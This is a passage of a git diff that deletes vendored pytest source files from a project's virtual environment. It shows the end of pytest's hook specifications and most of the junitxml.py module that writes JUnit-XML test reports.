``pytest_runtest_logreport(report)`` - - ``pytest_exception_interact(call, report)`` if an interactive exception occurred - - - Call phase, if the setup passed and the ``setuponly`` pytest option is not set: - - ``call = pytest_runtest_call(item)`` (wrapped in ``CallInfo(when="call")``) - - ``report = pytest_runtest_makereport(item, call)`` - - ``pytest_runtest_logreport(report)`` - - ``pytest_exception_interact(call, report)`` if an interactive exception occurred - - - Teardown phase: - - ``call = pytest_runtest_teardown(item, nextitem)`` (wrapped in ``CallInfo(when="teardown")``) - - ``report = pytest_runtest_makereport(item, call)`` - - ``pytest_runtest_logreport(report)`` - - ``pytest_exception_interact(call, report)`` if an interactive exception occurred - - - ``pytest_runtest_logfinish(nodeid, location)`` - - :param item: Test item for which the runtest protocol is performed. - :param nextitem: The scheduled-to-be-next test item (or None if this is the end my friend). - - Stops at first non-None result, see :ref:`firstresult`. - The return value is not used, but only stops further processing. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -def pytest_runtest_logstart(nodeid: str, location: tuple[str, int | None, str]) -> None: - """Called at the start of running the runtest protocol for a single item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - :param nodeid: Full node ID of the item. - :param location: A tuple of ``(filename, lineno, testname)`` - where ``filename`` is a file path relative to ``config.rootpath`` - and ``lineno`` is 0-based. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_logfinish( - nodeid: str, location: tuple[str, int | None, str] -) -> None: - """Called at the end of running the runtest protocol for a single item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - :param nodeid: Full node ID of the item. - :param location: A tuple of ``(filename, lineno, testname)`` - where ``filename`` is a file path relative to ``config.rootpath`` - and ``lineno`` is 0-based. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_setup(item: Item) -> None: - """Called to perform the setup phase for a test item. - - The default implementation runs ``setup()`` on ``item`` and all of its - parents (which haven't been setup yet). This includes obtaining the - values of fixtures required by the item (which haven't been obtained - yet). - - :param item: - The item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_call(item: Item) -> None: - """Called to run the test for test item (the call phase). - - The default implementation calls ``item.runtest()``. - - :param item: - The item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_teardown(item: Item, nextitem: Item | None) -> None: - """Called to perform the teardown phase for a test item. - - The default implementation runs the finalizers and calls ``teardown()`` - on ``item`` and all of its parents (which need to be torn down). This - includes running the teardown phase of fixtures required by the item (if - they go out of scope). - - :param item: - The item. - :param nextitem: - The scheduled-to-be-next test item (None if no further test item is - scheduled). This argument is used to perform exact teardowns, i.e. - calling just enough finalizers so that nextitem only needs to call - setup functions. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_runtest_makereport(item: Item, call: CallInfo[None]) -> TestReport | None: - """Called to create a :class:`~pytest.TestReport` for each of - the setup, call and teardown runtest phases of a test item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - :param item: The item. - :param call: The :class:`~pytest.CallInfo` for the phase. - - Stops at first non-None result, see :ref:`firstresult`. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_logreport(report: TestReport) -> None: - """Process the :class:`~pytest.TestReport` produced for each - of the setup, call and teardown runtest phases of an item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_report_to_serializable( - config: Config, - report: CollectReport | TestReport, -) -> dict[str, Any] | None: - """Serialize the given report object into a data structure suitable for - sending over the wire, e.g. converted to JSON. - - :param config: The pytest config object. - :param report: The report. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. The exact details may depend - on the plugin which calls the hook. - """ - - -@hookspec(firstresult=True) -def pytest_report_from_serializable( - config: Config, - data: dict[str, Any], -) -> CollectReport | TestReport | None: - """Restore a report object previously serialized with - :hook:`pytest_report_to_serializable`. - - :param config: The pytest config object. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. The exact details may depend - on the plugin which calls the hook. - """ - - -# ------------------------------------------------------------------------- -# Fixture related hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_fixture_setup( - fixturedef: FixtureDef[Any], request: SubRequest -) -> object | None: - """Perform fixture setup execution. - - :param fixturedef: - The fixture definition object. - :param request: - The fixture request object. - :returns: - The return value of the call to the fixture function. - - Stops at first non-None result, see :ref:`firstresult`. - - .. note:: - If the fixture function returns None, other implementations of - this hook function will continue to be called, according to the - behavior of the :ref:`firstresult` option. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given fixture, only - conftest files in the fixture scope's directory and its parent directories - are consulted. - """ - - -def pytest_fixture_post_finalizer( - fixturedef: FixtureDef[Any], request: SubRequest -) -> None: - """Called after fixture teardown, but before the cache is cleared, so - the fixture result ``fixturedef.cached_result`` is still available (not - ``None``). - - :param fixturedef: - The fixture definition object. - :param request: - The fixture request object. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given fixture, only - conftest files in the fixture scope's directory and its parent directories - are consulted. - """ - - -# ------------------------------------------------------------------------- -# test session related hooks -# ------------------------------------------------------------------------- - - -def pytest_sessionstart(session: Session) -> None: - """Called after the ``Session`` object has been created and before performing collection - and entering the run test loop. - - :param session: The pytest session object. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -def pytest_sessionfinish( - session: Session, - exitstatus: int | ExitCode, -) -> None: - """Called after whole test run finished, right before returning the exit status to the system. - - :param session: The pytest session object. - :param exitstatus: The status which pytest will return to the system. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -def pytest_unconfigure(config: Config) -> None: - """Called before test process is exited. - - :param config: The pytest config object. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -# ------------------------------------------------------------------------- -# hooks for customizing the assert methods -# ------------------------------------------------------------------------- - - -def pytest_assertrepr_compare( - config: Config, op: str, left: object, right: object -) -> list[str] | None: - """Return explanation for comparisons in failing assert expressions. - - Return None for no custom explanation, otherwise return a list - of strings. The strings will be joined by newlines but any newlines - *in* a string will be escaped. Note that all but the first line will - be indented slightly, the intention is for the first line to be a summary. - - :param config: The pytest config object. - :param op: The operator, e.g. `"=="`, `"!="`, `"not in"`. - :param left: The left operand. - :param right: The right operand. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_assertion_pass(item: Item, lineno: int, orig: str, expl: str) -> None: - """Called whenever an assertion passes. - - .. versionadded:: 5.0 - - Use this hook to do some processing after a passing assertion. - The original assertion information is available in the `orig` string - and the pytest introspected assertion information is available in the - `expl` string. - - This hook must be explicitly enabled by the ``enable_assertion_pass_hook`` - ini-file option: - - .. code-block:: ini - - [pytest] - enable_assertion_pass_hook=true - - You need to **clean the .pyc** files in your project directory and interpreter libraries - when enabling this option, as assertions will require to be re-written. - - :param item: pytest item object of current test. - :param lineno: Line number of the assert statement. - :param orig: String with the original assertion. - :param expl: String with the assert explanation. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -# ------------------------------------------------------------------------- -# Hooks for influencing reporting (invoked from _pytest_terminal). -# ------------------------------------------------------------------------- - - -@hookspec( - warn_on_impl_args={ - "startdir": HOOK_LEGACY_PATH_ARG.format( - pylib_path_arg="startdir", pathlib_path_arg="start_path" - ), - }, -) -def pytest_report_header( # type:ignore[empty-body] - config: Config, start_path: Path, startdir: LEGACY_PATH -) -> str | list[str]: - """Return a string or list of strings to be displayed as header info for terminal reporting. - - :param config: The pytest config object. - :param start_path: The starting dir. - :type start_path: pathlib.Path - :param startdir: The starting dir (deprecated). - - .. note:: - - Lines returned by a plugin are displayed before those of plugins which - ran before it. - If you want to have your line(s) displayed first, use - :ref:`trylast=True `. - - .. versionchanged:: 7.0.0 - The ``start_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``startdir`` parameter. The ``startdir`` parameter - has been deprecated. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -@hookspec( - warn_on_impl_args={ - "startdir": HOOK_LEGACY_PATH_ARG.format( - pylib_path_arg="startdir", pathlib_path_arg="start_path" - ), - }, -) -def pytest_report_collectionfinish( # type:ignore[empty-body] - config: Config, - start_path: Path, - startdir: LEGACY_PATH, - items: Sequence[Item], -) -> str | list[str]: - """Return a string or list of strings to be displayed after collection - has finished successfully. - - These strings will be displayed after the standard "collected X items" message. - - .. versionadded:: 3.2 - - :param config: The pytest config object. - :param start_path: The starting dir. - :type start_path: pathlib.Path - :param startdir: The starting dir (deprecated). - :param items: List of pytest items that are going to be executed; this list should not be modified. - - .. note:: - - Lines returned by a plugin are displayed before those of plugins which - ran before it. - If you want to have your line(s) displayed first, use - :ref:`trylast=True `. - - .. versionchanged:: 7.0.0 - The ``start_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``startdir`` parameter. The ``startdir`` parameter - has been deprecated. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_report_teststatus( # type:ignore[empty-body] - report: CollectReport | TestReport, config: Config -) -> TestShortLogReport | tuple[str, str, str | tuple[str, Mapping[str, bool]]]: - """Return result-category, shortletter and verbose word for status - reporting. - - The result-category is a category in which to count the result, for - example "passed", "skipped", "error" or the empty string. - - The shortletter is shown as testing progresses, for example ".", "s", - "E" or the empty string. - - The verbose word is shown as testing progresses in verbose mode, for - example "PASSED", "SKIPPED", "ERROR" or the empty string. - - pytest may style these implicitly according to the report outcome. - To provide explicit styling, return a tuple for the verbose word, - for example ``"rerun", "R", ("RERUN", {"yellow": True})``. - - :param report: The report object whose status is to be returned. - :param config: The pytest config object. - :returns: The test status. - - Stops at first non-None result, see :ref:`firstresult`. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_terminal_summary( - terminalreporter: TerminalReporter, - exitstatus: ExitCode, - config: Config, -) -> None: - """Add a section to terminal summary reporting. - - :param terminalreporter: The internal terminal reporter object. - :param exitstatus: The exit status that will be reported back to the OS. - :param config: The pytest config object. - - .. versionadded:: 4.2 - The ``config`` parameter. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -@hookspec(historic=True) -def pytest_warning_recorded( - warning_message: warnings.WarningMessage, - when: Literal["config", "collect", "runtest"], - nodeid: str, - location: tuple[str, int, str] | None, -) -> None: - """Process a warning captured by the internal pytest warnings plugin. - - :param warning_message: - The captured warning. This is the same object produced by :class:`warnings.catch_warnings`, - and contains the same attributes as the parameters of :py:func:`warnings.showwarning`. - - :param when: - Indicates when the warning was captured. Possible values: - - * ``"config"``: during pytest configuration/initialization stage. - * ``"collect"``: during test collection. - * ``"runtest"``: during test execution. - - :param nodeid: - Full id of the item. Empty string for warnings that are not specific to - a particular node. - - :param location: - When available, holds information about the execution context of the captured - warning (filename, linenumber, function). ``function`` evaluates to - when the execution context is at the module level. - - .. versionadded:: 6.0 - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. If the warning is specific to a - particular node, only conftest files in parent directories of the node are - consulted. - """ - - -# ------------------------------------------------------------------------- -# Hooks for influencing skipping -# ------------------------------------------------------------------------- - - -def pytest_markeval_namespace( # type:ignore[empty-body] - config: Config, -) -> dict[str, Any]: - """Called when constructing the globals dictionary used for - evaluating string conditions in xfail/skipif markers. - - This is useful when the condition for a marker requires - objects that are expensive or impossible to obtain during - collection time, which is required by normal boolean - conditions. - - .. versionadded:: 6.2 - - :param config: The pytest config object. - :returns: A dictionary of additional globals to add. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in parent directories of the item are consulted. - """ - - -# ------------------------------------------------------------------------- -# error handling and internal debugging hooks -# ------------------------------------------------------------------------- - - -def pytest_internalerror( - excrepr: ExceptionRepr, - excinfo: ExceptionInfo[BaseException], -) -> bool | None: - """Called for internal errors. - - Return True to suppress the fallback handling of printing an - INTERNALERROR message directly to sys.stderr. - - :param excrepr: The exception repr object. - :param excinfo: The exception info. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_keyboard_interrupt( - excinfo: ExceptionInfo[KeyboardInterrupt | Exit], -) -> None: - """Called for keyboard interrupt. - - :param excinfo: The exception info. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_exception_interact( - node: Item | Collector, - call: CallInfo[Any], - report: CollectReport | TestReport, -) -> None: - """Called when an exception was raised which can potentially be - interactively handled. - - May be called during collection (see :hook:`pytest_make_collect_report`), - in which case ``report`` is a :class:`~pytest.CollectReport`. - - May be called during runtest of an item (see :hook:`pytest_runtest_protocol`), - in which case ``report`` is a :class:`~pytest.TestReport`. - - This hook is not called if the exception that was raised is an internal - exception like ``skip.Exception``. - - :param node: - The item or collector. - :param call: - The call information. Contains the exception. - :param report: - The collection or test report. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given node, only conftest - files in parent directories of the node are consulted. - """ - - -def pytest_enter_pdb(config: Config, pdb: pdb.Pdb) -> None: - """Called upon pdb.set_trace(). - - Can be used by plugins to take special action just before the python - debugger enters interactive mode. - - :param config: The pytest config object. - :param pdb: The Pdb instance. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_leave_pdb(config: Config, pdb: pdb.Pdb) -> None: - """Called when leaving pdb (e.g. with continue after pdb.set_trace()). - - Can be used by plugins to take special action just after the python - debugger leaves interactive mode. - - :param config: The pytest config object. - :param pdb: The Pdb instance. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ diff --git a/backend/venv/Lib/site-packages/_pytest/junitxml.py b/backend/venv/Lib/site-packages/_pytest/junitxml.py deleted file mode 100644 index 3a2cb59a..00000000 --- a/backend/venv/Lib/site-packages/_pytest/junitxml.py +++ /dev/null @@ -1,697 +0,0 @@ -# mypy: allow-untyped-defs -"""Report test results in JUnit-XML format, for use with Jenkins and build -integration servers. - -Based on initial code from Ross Lawley. - -Output conforms to -https://github.com/jenkinsci/xunit-plugin/blob/master/src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd/junit-10.xsd -""" - -from __future__ import annotations - -from datetime import datetime -from datetime import timezone -import functools -import os -import platform -import re -from typing import Callable -from typing import Match -import xml.etree.ElementTree as ET - -from _pytest import nodes -from _pytest import timing -from _pytest._code.code import ExceptionRepr -from _pytest._code.code import ReprFileLocation -from _pytest.config import Config -from _pytest.config import filename_arg -from _pytest.config.argparsing import Parser -from _pytest.fixtures import FixtureRequest -from _pytest.reports import TestReport -from _pytest.stash import StashKey -from _pytest.terminal import TerminalReporter -import pytest - - -xml_key = StashKey["LogXML"]() - - -def bin_xml_escape(arg: object) -> str: - r"""Visually escape invalid XML characters. - - For example, transforms - 'hello\aworld\b' - into - 'hello#x07world#x08' - Note that the #xABs are *not* XML escapes - missing the ampersand «. - The idea is to escape visually for the user rather than for XML itself. - """ - - def repl(matchobj: Match[str]) -> str: - i = ord(matchobj.group()) - if i <= 0xFF: - return f"#x{i:02X}" - else: - return f"#x{i:04X}" - - # The spec range of valid chars is: - # Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF] - # For an unknown(?) reason, we disallow #x7F (DEL) as well. - illegal_xml_re = ( - "[^\u0009\u000a\u000d\u0020-\u007e\u0080-\ud7ff\ue000-\ufffd\u10000-\u10ffff]" - ) - return re.sub(illegal_xml_re, repl, str(arg)) - - -def merge_family(left, right) -> None: - result = {} - for kl, vl in left.items(): - for kr, vr in right.items(): - if not isinstance(vl, list): - raise TypeError(type(vl)) - result[kl] = vl + vr - left.update(result) - - -families = {} -families["_base"] = {"testcase": ["classname", "name"]} -families["_base_legacy"] = {"testcase": ["file", "line", "url"]} - -# xUnit 1.x inherits legacy attributes. -families["xunit1"] = families["_base"].copy() -merge_family(families["xunit1"], families["_base_legacy"]) - -# xUnit 2.x uses strict base attributes. -families["xunit2"] = families["_base"] - - -class _NodeReporter: - def __init__(self, nodeid: str | TestReport, xml: LogXML) -> None: - self.id = nodeid - self.xml = xml - self.add_stats = self.xml.add_stats - self.family = self.xml.family - self.duration = 0.0 - self.properties: list[tuple[str, str]] = [] - self.nodes: list[ET.Element] = [] - self.attrs: dict[str, str] = {} - - def append(self, node: ET.Element) -> None: - self.xml.add_stats(node.tag) - self.nodes.append(node) - - def add_property(self, name: str, value: object) -> None: - self.properties.append((str(name), bin_xml_escape(value))) - - def add_attribute(self, name: str, value: object) -> None: - self.attrs[str(name)] = bin_xml_escape(value) - - def make_properties_node(self) -> ET.Element | None: - """Return a Junit node containing custom properties, if any.""" - if self.properties: - properties = ET.Element("properties") - for name, value in self.properties: - properties.append(ET.Element("property", name=name, value=value)) - return properties - return None - - def record_testreport(self, testreport: TestReport) -> None: - names = mangle_test_address(testreport.nodeid) - existing_attrs = self.attrs - classnames = names[:-1] - if self.xml.prefix: - classnames.insert(0, self.xml.prefix) - attrs: dict[str, str] = { - "classname": ".".join(classnames), - "name": bin_xml_escape(names[-1]), - "file": testreport.location[0], - } - if testreport.location[1] is not None: - attrs["line"] = str(testreport.location[1]) - if hasattr(testreport, "url"): - attrs["url"] = testreport.url - self.attrs = attrs - self.attrs.update(existing_attrs) # Restore any user-defined attributes. - - # Preserve legacy testcase behavior. - if self.family == "xunit1": - return - - # Filter out attributes not permitted by this test family. - # Including custom attributes because they are not valid here. - temp_attrs = {} - for key in self.attrs: - if key in families[self.family]["testcase"]: - temp_attrs[key] = self.attrs[key] - self.attrs = temp_attrs - - def to_xml(self) -> ET.Element: - testcase = ET.Element("testcase", self.attrs, time=f"{self.duration:.3f}") - properties = self.make_properties_node() - if properties is not None: - testcase.append(properties) - testcase.extend(self.nodes) - return testcase - - def _add_simple(self, tag: str, message: str, data: str | None = None) -> None: - node = ET.Element(tag, message=message) - node.text = bin_xml_escape(data) - self.append(node) - - def write_captured_output(self, report: TestReport) -> None: - if not self.xml.log_passing_tests and report.passed: - return - - content_out = report.capstdout - content_log = report.caplog - content_err = report.capstderr - if self.xml.logging == "no": - return - content_all = "" - if self.xml.logging in ["log", "all"]: - content_all = self._prepare_content(content_log, " Captured Log ") - if self.xml.logging in ["system-out", "out-err", "all"]: - content_all += self._prepare_content(content_out, " Captured Out ") - self._write_content(report, content_all, "system-out") - content_all = "" - if self.xml.logging in ["system-err", "out-err", "all"]: - content_all += self._prepare_content(content_err, " Captured Err ") - self._write_content(report, content_all, "system-err") - content_all = "" - if content_all: - self._write_content(report, content_all, "system-out") - - def _prepare_content(self, content: str, header: str) -> str: - return "\n".join([header.center(80, "-"), content, ""]) - - def _write_content(self, report: TestReport, content: str, jheader: str) -> None: - tag = ET.Element(jheader) - tag.text = bin_xml_escape(content) - self.append(tag) - - def append_pass(self, report: TestReport) -> None: - self.add_stats("passed") - - def append_failure(self, report: TestReport) -> None: - # msg = str(report.longrepr.reprtraceback.extraline) - if hasattr(report, "wasxfail"): - self._add_simple("skipped", "xfail-marked test passes unexpectedly") - else: - assert report.longrepr is not None - reprcrash: ReprFileLocation | None = getattr( - report.longrepr, "reprcrash", None - ) - if reprcrash is not None: - message = reprcrash.message - else: - message = str(report.longrepr) - message = bin_xml_escape(message) - self._add_simple("failure", message, str(report.longrepr)) - - def append_collect_error(self, report: TestReport) -> None: - # msg = str(report.longrepr.reprtraceback.extraline) - assert report.longrepr is not None - self._add_simple("error", "collection failure", str(report.longrepr)) - - def append_collect_skipped(self, report: TestReport) -> None: - self._add_simple("skipped", "collection skipped", str(report.longrepr)) - - def append_error(self, report: TestReport) -> None: - assert report.longrepr is not None - reprcrash: ReprFileLocation | None = getattr(report.longrepr, "reprcrash", None) - if reprcrash is not None: - reason = reprcrash.message - else: - reason = str(report.longrepr) - - if report.when == "teardown": - msg = f'failed on teardown with "{reason}"' - else: - msg = f'failed on setup with "{reason}"' - self._add_simple("error", bin_xml_escape(msg), str(report.longrepr)) - - def append_skipped(self, report: TestReport) -> None: - if hasattr(report, "wasxfail"): - xfailreason = report.wasxfail - if xfailreason.startswith("reason: "): - xfailreason = xfailreason[8:] - xfailreason = bin_xml_escape(xfailreason) - skipped = ET.Element("skipped", type="pytest.xfail", message=xfailreason) - self.append(skipped) - else: - assert isinstance(report.longrepr, tuple) - filename, lineno, skipreason = report.longrepr - if skipreason.startswith("Skipped: "): - skipreason = skipreason[9:] - details = f"{filename}:{lineno}: {skipreason}" - - skipped = ET.Element( - "skipped", type="pytest.skip", message=bin_xml_escape(skipreason) - ) - skipped.text = bin_xml_escape(details) - self.append(skipped) - self.write_captured_output(report) - - def finalize(self) -> None: - data = self.to_xml() - self.__dict__.clear() - # Type ignored because mypy doesn't like overriding a method. - # Also the return value doesn't match... - self.to_xml = lambda: data # type: ignore[method-assign] - - -def _warn_incompatibility_with_xunit2( - request: FixtureRequest, fixture_name: str -) -> None: - """Emit a PytestWarning about the given fixture being incompatible with newer xunit revisions.""" - from _pytest.warning_types import PytestWarning - - xml = request.config.stash.get(xml_key, None) - if xml is not None and xml.family not in ("xunit1", "legacy"): - request.node.warn( - PytestWarning( - f"{fixture_name} is incompatible with junit_family '{xml.family}' (use 'legacy' or 'xunit1')" - ) - ) - - -@pytest.fixture -def record_property(request: FixtureRequest) -> Callable[[str, object], None]: - """Add extra properties to the calling test. - - User properties become part of the test report and are available to the - configured reporters, like JUnit XML. - - The fixture is callable with ``name, value``. The value is automatically - XML-encoded. - - Example:: - - def test_function(record_property): - record_property("example_key", 1) - """ - _warn_incompatibility_with_xunit2(request, "record_property") - - def append_property(name: str, value: object) -> None: - request.node.user_properties.append((name, value)) - - return append_property - - -@pytest.fixture -def record_xml_attribute(request: FixtureRequest) -> Callable[[str, object], None]: - """Add extra xml attributes to the tag for the calling test. - - The fixture is callable with ``name, value``. The value is - automatically XML-encoded. - """ - from _pytest.warning_types import PytestExperimentalApiWarning - - request.node.warn( - PytestExperimentalApiWarning("record_xml_attribute is an experimental feature") - ) - - _warn_incompatibility_with_xunit2(request, "record_xml_attribute") - - # Declare noop - def add_attr_noop(name: str, value: object) -> None: - pass - - attr_func = add_attr_noop - - xml = request.config.stash.get(xml_key, None) - if xml is not None: - node_reporter = xml.node_reporter(request.node.nodeid) - attr_func = node_reporter.add_attribute - - return attr_func - - -def _check_record_param_type(param: str, v: str) -> None: - """Used by record_testsuite_property to check that the given parameter name is of the proper - type.""" - __tracebackhide__ = True - if not isinstance(v, str): - msg = "{param} parameter needs to be a string, but {g} given" # type: ignore[unreachable] - raise TypeError(msg.format(param=param, g=type(v).__name__)) - - -@pytest.fixture(scope="session") -def record_testsuite_property(request: FixtureRequest) -> Callable[[str, object], None]: - """Record a new ```` tag as child of the root ````. - - This is suitable to writing global information regarding the entire test - suite, and is compatible with ``xunit2`` JUnit family. - - This is a ``session``-scoped fixture which is called with ``(name, value)``. Example: - - .. code-block:: python - - def test_foo(record_testsuite_property): - record_testsuite_property("ARCH", "PPC") - record_testsuite_property("STORAGE_TYPE", "CEPH") - - :param name: - The property name. - :param value: - The property value. Will be converted to a string. - - .. warning:: - - Currently this fixture **does not work** with the - `pytest-xdist `__ plugin. See - :issue:`7767` for details. - """ - __tracebackhide__ = True - - def record_func(name: str, value: object) -> None: - """No-op function in case --junit-xml was not passed in the command-line.""" - __tracebackhide__ = True - _check_record_param_type("name", name) - - xml = request.config.stash.get(xml_key, None) - if xml is not None: - record_func = xml.add_global_property - return record_func - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting") - group.addoption( - "--junitxml", - "--junit-xml", - action="store", - dest="xmlpath", - metavar="path", - type=functools.partial(filename_arg, optname="--junitxml"), - default=None, - help="Create junit-xml style report file at given path", - ) - group.addoption( - "--junitprefix", - "--junit-prefix", - action="store", - metavar="str", - default=None, - help="Prepend prefix to classnames in junit-xml output", - ) - parser.addini( - "junit_suite_name", "Test suite name for JUnit report", default="pytest" - ) - parser.addini( - "junit_logging", - "Write captured log messages to JUnit report: " - "one of no|log|system-out|system-err|out-err|all", - default="no", - ) - parser.addini( - "junit_log_passing_tests", - "Capture log information for passing tests to JUnit report: ", - type="bool", - default=True, - ) - parser.addini( - "junit_duration_report", - "Duration time to report: one of total|call", - default="total", - ) # choices=['total', 'call']) - parser.addini( - "junit_family", - "Emit XML for schema: one of legacy|xunit1|xunit2", - default="xunit2", - ) - - -def pytest_configure(config: Config) -> None: - xmlpath = config.option.xmlpath - # Prevent opening xmllog on worker nodes (xdist). - if xmlpath and not hasattr(config, "workerinput"): - junit_family = config.getini("junit_family") - config.stash[xml_key] = LogXML( - xmlpath, - config.option.junitprefix, - config.getini("junit_suite_name"), - config.getini("junit_logging"), - config.getini("junit_duration_report"), - junit_family, - config.getini("junit_log_passing_tests"), - ) - config.pluginmanager.register(config.stash[xml_key]) - - -def pytest_unconfigure(config: Config) -> None: - xml = config.stash.get(xml_key, None) - if xml: - del config.stash[xml_key] - config.pluginmanager.unregister(xml) - - -def mangle_test_address(address: str) -> list[str]: - path, possible_open_bracket, params = address.partition("[") - names = path.split("::") - # Convert file path to dotted path. - names[0] = names[0].replace(nodes.SEP, ".") - names[0] = re.sub(r"\.py$", "", names[0]) - # Put any params back. - names[-1] += possible_open_bracket + params - return names - - -class LogXML: - def __init__( - self, - logfile, - prefix: str | None, - suite_name: str = "pytest", - logging: str = "no", - report_duration: str = "total", - family="xunit1", - log_passing_tests: bool = True, - ) -> None: - logfile = os.path.expanduser(os.path.expandvars(logfile)) - self.logfile = os.path.normpath(os.path.abspath(logfile)) - self.prefix = prefix - self.suite_name = suite_name - self.logging = logging - self.log_passing_tests = log_passing_tests - self.report_duration = report_duration - self.family = family - self.stats: dict[str, int] = dict.fromkeys( - ["error", "passed", "failure", "skipped"], 0 - ) - self.node_reporters: dict[tuple[str | TestReport, object], _NodeReporter] = {} - self.node_reporters_ordered: list[_NodeReporter] = [] - self.global_properties: list[tuple[str, str]] = [] - - # List of reports that failed on call but teardown is pending. - self.open_reports: list[TestReport] = [] - self.cnt_double_fail_tests = 0 - - # Replaces convenience family with real family. - if self.family == "legacy": - self.family = "xunit1" - - def finalize(self, report: TestReport) -> None: - nodeid = getattr(report, "nodeid", report) - # Local hack to handle xdist report order. - workernode = getattr(report, "node", None) - reporter = self.node_reporters.pop((nodeid, workernode)) - - for propname, propvalue in report.user_properties: - reporter.add_property(propname, str(propvalue)) - - if reporter is not None: - reporter.finalize() - - def node_reporter(self, report: TestReport | str) -> _NodeReporter: - nodeid: str | TestReport = getattr(report, "nodeid", report) - # Local hack to handle xdist report order. - workernode = getattr(report, "node", None) - - key = nodeid, workernode - - if key in self.node_reporters: - # TODO: breaks for --dist=each - return self.node_reporters[key] - - reporter = _NodeReporter(nodeid, self) - - self.node_reporters[key] = reporter - self.node_reporters_ordered.append(reporter) - - return reporter - - def add_stats(self, key: str) -> None: - if key in self.stats: - self.stats[key] += 1 - - def _opentestcase(self, report: TestReport) -> _NodeReporter: - reporter = self.node_reporter(report) - reporter.record_testreport(report) - return reporter - - def pytest_runtest_logreport(self, report: TestReport) -> None: - """Handle a setup/call/teardown report, generating the appropriate - XML tags as necessary. - - Note: due to plugins like xdist, this hook may be called in interlaced - order with reports from other nodes. For example: - - Usual call order: - -> setup node1 - -> call node1 - -> teardown node1 - -> setup node2 - -> call node2 - -> teardown node2 - - Possible call order in xdist: - -> setup node1 - -> call node1 - -> setup node2 - -> call node2 - -> teardown node2 - -> teardown node1 - """ - close_report = None - if report.passed: - if report.when == "call": # ignore setup/teardown - reporter = self._opentestcase(report) - reporter.append_pass(report) - elif report.failed: - if report.when == "teardown": - # The following vars are needed when xdist plugin is used. - report_wid = getattr(report, "worker_id", None) - report_ii = getattr(report, "item_index", None) - close_report = next( - ( - rep - for rep in self.open_reports - if ( - rep.nodeid == report.nodeid - and getattr(rep, "item_index", None) == report_ii - and getattr(rep, "worker_id", None) == report_wid - ) - ), - None, - ) - if close_report: - # We need to open new testcase in case we have failure in - # call and error in teardown in order to follow junit - # schema. - self.finalize(close_report) - self.cnt_double_fail_tests += 1 - reporter = self._opentestcase(report) - if report.when == "call": - reporter.append_failure(report) - self.open_reports.append(report) - if not self.log_passing_tests: - reporter.write_captured_output(report) - else: - reporter.append_error(report) - elif report.skipped: - reporter = self._opentestcase(report) - reporter.append_skipped(report) - self.update_testcase_duration(report) - if report.when == "teardown": - reporter = self._opentestcase(report) - reporter.write_captured_output(report) - - self.finalize(report) - report_wid = getattr(report, "worker_id", None) - report_ii = getattr(report, "item_index", None) - close_report = next( - ( - rep - for rep in self.open_reports - if ( - rep.nodeid == report.nodeid - and getattr(rep, "item_index", None) == report_ii - and getattr(rep, "worker_id", None) == report_wid - ) - ), - None, - ) - if close_report: - self.open_reports.remove(close_report) - - def update_testcase_duration(self, report: TestReport) -> None: - """Accumulate total duration for nodeid from given report and update - the Junit.testcase with the new total if already created.""" - if self.report_duration in {"total", report.when}: - reporter = self.node_reporter(report) - reporter.duration += getattr(report, "duration", 0.0) - - def pytest_collectreport(self, report: TestReport) -> None: - if not report.passed: - reporter = 